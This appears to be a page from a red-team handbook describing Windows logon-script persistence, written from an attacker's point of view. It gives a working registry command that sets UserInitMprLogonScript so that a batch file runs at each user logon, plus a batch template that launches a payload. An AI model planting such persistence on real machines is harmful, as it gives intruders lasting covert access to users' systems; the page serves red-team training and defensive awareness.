> For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/logon-scripts.md).

# Logon Scripts

Logon scripts will run every time the user logs on. These are intended to ease admins by automatically executing commands during session initiation, but as attackers, we can abuse this to establish persistence.

To perform this persistence technique, issue the following command

```
reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /d "c:\script.bat" /t REG_SZ /f
```

Our bat file can simply contain the directory of our payload to execute.

```
@ECHO OFF

C:\<ILE>
```